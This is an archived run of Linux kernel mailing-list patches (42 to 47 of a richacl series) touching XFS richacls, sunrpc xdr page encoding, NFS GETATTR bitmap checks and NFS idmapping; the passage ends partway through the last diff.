X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 45F46C0AF799; Fri, 23 Oct 2015 18:46:55 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fB026588; Fri, 23 Oct 2015 14:46:49 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 42/49] xfs: Don't allow unmapped identifiers in richacls Date: Fri, 23 Oct 2015 20:41:55 +0200 X-ASG-Orig-Subj: [PATCH v12 42/49] xfs: Don't allow unmapped identifiers in richacls Message-Id: <1445625722-13791-43-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626015 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Don't allow acls which contain unmapped identifiers: they are meaningful for remote file systems only. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_richacl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/xfs/xfs_richacl.c b/fs/xfs/xfs_richacl.c index 92a036e..6870679 100644 --- a/fs/xfs/xfs_richacl.c +++ b/fs/xfs/xfs_richacl.c @@ -78,6 +78,10 @@ xfs_set_richacl(struct inode *inode, struct richacl *acl) if (!acl) return xfs_remove_richacl(inode); + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + if (richacl_equiv_mode(acl, &mode) == 0) { xfs_set_mode(inode, mode); return xfs_remove_richacl(inode); -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 966A429E65 for ; Fri, 23 Oct 2015 13:47:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77A008F8033 for ; Fri, 23 Oct 2015 11:47:03 -0700 (PDT) X-ASG-Debug-ID: 1445626022-04cbb0660f3f4f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id sBJMAR25b0BQZDfQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:02 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 1593619CB8E; Fri, 23 Oct 2015 18:47:02 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fC026588; Fri, 23 Oct 2015 14:46:55 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 43/49] sunrpc: Allow to demand-allocate pages to encode into Date: Fri, 23 Oct 2015 20:41:56 +0200 X-ASG-Orig-Subj: [PATCH v12 43/49] sunrpc: Allow to demand-allocate pages to encode into Message-Id: <1445625722-13791-44-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626022 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When encoding large, variable-length objects such as acls into xdr_bufs, it is easier to allocate buffer pages on demand rather than precomputing the required buffer size. Signed-off-by: Andreas Gruenbacher --- net/sunrpc/xdr.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 4439ac4..63c1c36 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -537,6 +537,15 @@ static __be32 *xdr_get_next_encode_buffer(struct xdr_stream *xdr, */ xdr->scratch.iov_base = xdr->p; xdr->scratch.iov_len = frag1bytes; + + if (!*xdr->page_ptr) { + struct page *page = alloc_page(GFP_NOFS); + + if (!page) + return NULL; + *xdr->page_ptr = page; + } + p = page_address(*xdr->page_ptr); /* * Note this is where the next encode will start after we've -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D4D729E27 for ; Fri, 23 Oct 2015 13:47:11 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E0797AC003 for ; Fri, 23 Oct 2015 11:47:10 -0700 (PDT) X-ASG-Debug-ID: 1445626029-04bdf0330941630001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ljSb5YFPunTU6zAJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:10 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id ADED88EA37; Fri, 23 Oct 2015 18:47:09 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fD026588; Fri, 23 Oct 2015 14:47:02 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 44/49] sunrpc: Add xdr_init_encode_pages Date: Fri, 23 Oct 2015 20:41:57 +0200 X-ASG-Orig-Subj: [PATCH v12 44/49] sunrpc: Add xdr_init_encode_pages Message-Id: <1445625722-13791-45-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626030 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Initialize xdr_stream and xdr_buf from a pages array, for encoding into the pages. Signed-off-by: Andreas Gruenbacher --- include/linux/sunrpc/xdr.h | 2 ++ net/sunrpc/xdr.c | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h index 70c6b92..2c99cff 100644 --- a/include/linux/sunrpc/xdr.h +++ b/include/linux/sunrpc/xdr.h @@ -214,6 +214,8 @@ typedef void (*kxdreproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); typedef int (*kxdrdproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p); +extern void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len); extern __be32 *xdr_reserve_space(struct xdr_stream *xdr, size_t nbytes); extern void xdr_commit_encode(struct xdr_stream *xdr); extern void xdr_truncate_encode(struct xdr_stream *xdr, size_t len); diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 63c1c36..f97b96b 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -483,6 +483,31 @@ void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p) EXPORT_SYMBOL_GPL(xdr_init_encode); /** + * xdr_init_encode_pages - Initialize struct xdr_stream for encoding into pages + * @xdr: pointer to xdr_stream struct + * @buf: pointer to XDR buffer in which to encode data + * @pages: pages array in which to encode + * @len: maximum length of @buf + * + * Initialize @xdr and @buf for encoding into the @pages array. If a + * page in @pages is NULL, it will be allocated on demand. + */ +void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len) +{ + memset(buf, 0, sizeof(*buf)); + buf->pages = pages; + buf->page_len = len; + buf->buflen = len; + + memset(xdr, 0, sizeof(*xdr)); + xdr->buf = buf; + xdr->iov = buf->head; + xdr->page_ptr = pages - 1; +} +EXPORT_SYMBOL_GPL(xdr_init_encode_pages); + +/** * xdr_commit_encode - Ensure all data is written to buffer * @xdr: pointer to xdr_stream * -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 34AE929E27 for ; Fri, 23 Oct 2015 13:47:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C2517AC001 for ; Fri, 23 Oct 2015 11:47:16 -0700 (PDT) X-ASG-Debug-ID: 1445626035-04bdf0330b41650001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nIEdGzyVgYw25cPU (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:15 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 9A94F8C1B2; Fri, 23 Oct 2015 18:47:15 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fE026588; Fri, 23 Oct 2015 14:47:09 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 45/49] nfs: Fix GETATTR bitmap verification Date: Fri, 23 Oct 2015 20:41:58 +0200 X-ASG-Orig-Subj: [PATCH v12 45/49] nfs: Fix GETATTR bitmap verification Message-Id: <1445625722-13791-46-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626035 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When decoding GETATTR replies, the client checks the attribute bitmap for which attributes the server has sent. It misses bits at the word boundaries, though; fix that. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4xdr.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 788adf3..6f6d921 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -4375,6 +4375,11 @@ static int decode_statfs(struct xdr_stream *xdr, struct nfs_fsstat *fsstat) goto xdr_error; if ((status = decode_attr_files_total(xdr, bitmap, &fsstat->tfiles)) != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + if ((status = decode_attr_space_avail(xdr, bitmap, &fsstat->abytes)) != 0) goto xdr_error; if ((status = decode_attr_space_free(xdr, bitmap, &fsstat->fbytes)) != 0) @@ -4574,6 +4579,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_mode(xdr, bitmap, &fmode); if (status < 0) goto xdr_error; @@ -4627,6 +4636,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_mdsthreshold(xdr, bitmap, fattr->mdsthreshold); if (status < 0) goto xdr_error; @@ -4789,12 +4802,22 @@ static int decode_fsinfo(struct xdr_stream *xdr, struct nfs_fsinfo *fsinfo) if ((status = decode_attr_maxwrite(xdr, bitmap, &fsinfo->wtmax)) != 0) goto xdr_error; fsinfo->wtpref = fsinfo->wtmax; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_time_delta(xdr, bitmap, &fsinfo->time_delta); if (status != 0) goto xdr_error; status = decode_attr_pnfstype(xdr, bitmap, &fsinfo->layouttype); if (status != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_layout_blksize(xdr, bitmap, &fsinfo->blksize); if (status) goto xdr_error; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BA7A129E27 for ; Fri, 23 Oct 2015 13:47:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 40430AC001 for ; Fri, 23 Oct 2015 11:47:24 -0700 (PDT) X-ASG-Debug-ID: 1445626042-04cbb0660f3f510001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4Hnyh1KVqEFEBoX6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:23 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 5E1768EA45; Fri, 23 Oct 2015 18:47:22 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fF026588; Fri, 23 Oct 2015 14:47:16 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 46/49] nfs: Remove unused xdr page offsets in getacl/setacl arguments Date: Fri, 23 Oct 2015 20:41:59 +0200 X-ASG-Orig-Subj: [PATCH v12 46/49] nfs: Remove unused xdr page offsets in getacl/setacl arguments Message-Id: <1445625722-13791-47-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626042 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The arguments passed around for getacl and setacl xdr encoding, struct nfs_setaclargs and struct nfs_getaclargs, both contain an array of pages, an offset into the first page, and the length of the page data. The offset is unused as it is always zero; remove it. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 5 ++--- fs/nfs/nfs4xdr.c | 4 ++-- include/linux/nfs_xdr.h | 2 -- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index 5133bb1..eec5c4c 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4530,7 +4530,7 @@ static inline int nfs4_server_supports_acls(struct nfs_server *server) #define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages, unsigned int *pgbase) + struct page **pages) { struct page *newpage, **spages; int rc = 0; @@ -4674,7 +4674,6 @@ static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t bu goto out_free; args.acl_len = npages * PAGE_SIZE; - args.acl_pgbase = 0; dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", __func__, buf, buflen, npages, args.acl_len); @@ -4766,7 +4765,7 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return -EOPNOTSUPP; if (npages > ARRAY_SIZE(pages)) return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages, &arg.acl_pgbase); + i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); if (i < 0) return i; nfs4_inode_return_delegation(inode); diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 6f6d921..eefed15 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1659,7 +1659,7 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun *p = cpu_to_be32(FATTR4_WORD0_ACL); p = reserve_space(xdr, 4); *p = cpu_to_be32(arg->acl_len); - xdr_write_pages(xdr, arg->acl_pages, arg->acl_pgbase, arg->acl_len); + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); } static void @@ -2491,7 +2491,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, - args->acl_pages, args->acl_pgbase, args->acl_len); + args->acl_pages, 0, args->acl_len); encode_nops(&hdr); } diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 52faf7e..090ade4 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -685,7 +685,6 @@ struct nfs_setaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; @@ -697,7 +696,6 @@ struct nfs_getaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:47:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C233F29E6F for ; Fri, 23 Oct 2015 13:47:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 912A18F8040 for ; Fri, 23 Oct 2015 11:47:30 -0700 (PDT) X-ASG-Debug-ID: 1445626049-04bdf0330b41660001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id xNuPGcdViFPw4Qqm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:47:29 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 0A562C0A5143; Fri, 23 Oct 2015 18:47:29 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3fG026588; Fri, 23 Oct 2015 14:47:22 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 47/49] nfs: Distinguish missing users and groups from nobody Date: Fri, 23 Oct 2015 20:42:00 +0200 X-ASG-Orig-Subj: [PATCH v12 47/49] nfs: Distinguish missing users and groups from nobody Message-Id: <1445625722-13791-48-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445626049 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 User and group names are mapped to IDs using the kernel keyring infrastructure. When a name does not exist, it is mapped to the nobody user or group; there is no way to tell the difference from the mapping result. In ACLs, we need to make that distinction. For that, use the new "xuid" and "xgid" maps: they behave like the old "uid" and "gid" maps except that the IDs of existing users and groups are prefixed by a "+" sign. When the "xuid" or "xgid" maps are not supported, nfs falls back to the "uid" and "gid" maps. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4idmap.c | 57 ++++++++++++++++++++++++++++++++++++++--------- fs/nfs/nfs4xdr.c | 6 +++-- include/linux/nfs_fs_sb.h | 1 + 3 files changed, 52 insertions(+), 12 deletions(-) diff --git a/fs/nfs/nfs4idmap.c b/fs/nfs/nfs4idmap.c index 2e49022..34dd404 100644 --- a/fs/nfs/nfs4idmap.c +++ b/fs/nfs/nfs4idmap.c @@ -100,10 +100,12 @@ static bool nfs_fattr_map_owner_name(struct nfs_server *server, struct nfs_fattr { struct nfs4_string *owner = fattr->owner_name; kuid_t uid; + int ret; if (!(fattr->valid & NFS_ATTR_FATTR_OWNER_NAME)) return false; - if (nfs_map_name_to_uid(server, owner->data, owner->len, &uid) == 0) { + ret = nfs_map_name_to_uid(server, owner->data, owner->len, &uid); + if (ret == 0 || ret == -ENOENT) { fattr->uid = uid; fattr->valid |= NFS_ATTR_FATTR_OWNER; } @@ -114,10 +116,12 @@ static bool nfs_fattr_map_group_name(struct nfs_server *server, struct nfs_fattr { struct nfs4_string *group = fattr->group_name; kgid_t gid; + int ret; if (!(fattr->valid & NFS_ATTR_FATTR_GROUP_NAME)) return false; - if (nfs_map_group_to_gid(server, group->data, group->len, &gid) == 0) { + ret = nfs_map_group_to_gid(server, group->data, group->len, &gid); + if (ret == 0 || ret == -ENOENT) { fattr->gid = gid; fattr->valid |= NFS_ATTR_FATTR_GROUP; } @@ -351,20 +355,23 @@ static ssize_t nfs_idmap_lookup_name(__u32 id, const char *type, char *buf, } /* Name -> ID */ +/* Returns -ENOENT for unknown names (with @id set to the nobody id). */ static int nfs_idmap_lookup_id(const char *name, size_t namelen, const char *type, __u32 *id, struct idmap *idmap) { - char id_str[NFS_UINT_MAXLEN]; + char id_str[NFS_UINT_MAXLEN + 1]; long id_long; ssize_t data_size; int ret = 0; - data_size = nfs_idmap_get_key(name, namelen, type, id_str, NFS_UINT_MAXLEN, idmap); + data_size = nfs_idmap_get_key(name, namelen, type, id_str, sizeof(id_str), idmap); if (data_size <= 0) { ret = -EINVAL; } else { ret = kstrtol(id_str, 10, &id_long); *id = (__u32)id_long; + if (!ret && *id_str != '+') + ret = -ENOENT; } return ret; } @@ -719,9 +726,24 @@ int nfs_map_name_to_uid(const struct nfs_server *server, const char *name, size_ __u32 id = -1; int ret = 0; - if (!nfs_map_string_to_numeric(name, namelen, &id)) - ret = nfs_idmap_lookup_id(name, namelen, "uid", &id, idmap); - if (ret == 0) { + if (!nfs_map_string_to_numeric(name, namelen, &id)) { + struct nfs_client *client = server->nfs_client; + const char *type; + + for(;;) { + type = "xuid"; + if (test_bit(NFS_CS_NOXUID, &client->cl_flags)) + type = "uid"; + + ret = nfs_idmap_lookup_id(name, namelen, type, &id, idmap); + if (ret != -EINVAL || test_bit(NFS_CS_NOXUID, &client->cl_flags)) + break; + printk(KERN_NOTICE "NFS: Falling back from nfsidmap " + "xuid/xgid to uid/gid\n"); + set_bit(NFS_CS_NOXUID, &client->cl_flags); + } + } + if (ret == 0 || ret == -ENOENT) { *uid = make_kuid(&init_user_ns, id); if (!uid_valid(*uid)) ret = -ERANGE; @@ -736,9 +758,24 @@ int nfs_map_group_to_gid(const struct nfs_server *server, const char *name, size __u32 id = -1; int ret = 0; - if (!nfs_map_string_to_numeric(name, namelen, &id)) - ret = nfs_idmap_lookup_id(name, namelen, "gid", &id, idmap); - if (ret == 0) { + if (!nfs_map_string_to_numeric(name, namelen, &id)) { + struct nfs_client *client = server->nfs_client; + const char *type; + + for(;;) { + type = "xgid"; + if (test_bit(NFS_CS_NOXUID, &client->cl_flags)) + type = "gid"; + + ret = nfs_idmap_lookup_id(name, namelen, type, &id, idmap); + if (ret != -EINVAL || test_bit(NFS_CS_NOXUID, &client->cl_flags)) + break; + 